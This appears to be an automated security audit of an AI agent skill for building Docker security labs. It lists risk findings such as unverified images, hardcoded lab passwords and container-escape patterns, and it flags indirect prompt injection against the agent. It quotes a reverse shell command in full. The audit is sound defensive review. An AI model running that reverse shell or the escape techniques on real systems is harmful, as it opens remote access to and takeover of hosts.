docker-patterns

Warn

Audited by Gen Agent Trust Hub on Sep 19, 2026

Risk Level: MEDIUMCREDENTIALS_UNSAFEEXTERNAL_DOWNLOADSCOMMAND_EXECUTIONDATA_EXFILTRATIONPRIVILEGE_ESCALATIONMETADATA_POISONINGINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTION
Full Analysis
  • [EXTERNAL_DOWNLOADS]: The skill instructs the agent to pull numerous third-party container images from Docker Hub to set up labs. These include community-provided images from accounts like acgpiano, bkimminich, rastasheep, stilliard, mcybertop, instantlinux, and citizenstig. While common in security research, these images are not cryptographically verified or sourced from the official trusted vendors list.
  • [CREDENTIALS_UNSAFE]: Several Docker Compose templates in SKILL.md, payloads.md, and the guides include hardcoded passwords and secrets (e.g., p@ssw0rd, weakpassword123, admin123, toor). While these are intended for use within isolated lab environments, they represent hardcoded sensitive strings.
  • [COMMAND_EXECUTION]: The skill provides extensive instructions for executing powerful shell commands, including docker run, docker exec, mount, chroot, nsenter, and ip link. These are used to manage lab environments and demonstrate security techniques.
  • [PRIVILEGE_ESCALATION]: The guides (container-escape-techniques-guide.md, docker-vulnerability-patterns-guide.md) contain detailed patterns for escalating privileges, including the use of privileged: true, sharing the host PID namespace (pid: host), and adding dangerous capabilities like CAP_SYS_ADMIN and CAP_SYS_MODULE.
  • [DATA_EXFILTRATION]: A reverse shell command (bash -i >& /dev/tcp/172.31.0.2/4444 0>&1) is included in test-cases.md for validating connectivity in a practice lab. While documented as a test case, this is a high-risk pattern.
  • [DYNAMIC_EXECUTION]: The skill demonstrates generating and executing scripts at runtime, such as the cgroup release_agent escape example in guides/container-escape-techniques-guide.md, which writes a payload to a command file and executes it.
  • [INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and analyze potentially untrusted data from lab environments, such as container logs (docker logs), network traffic captures (tcpdump), and exported filesystems. This creates a surface for indirect prompt injection if the processed data contains malicious instructions.
  • [METADATA_POISONING]: The SKILL.md frontmatter identifies the skill as mitre: "N/A (non-attack meta skill)", which could be considered deceptive given the extensive coverage of attack techniques, privilege escalation, and persistence mechanisms.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Sep 19, 2026, 04:36 PM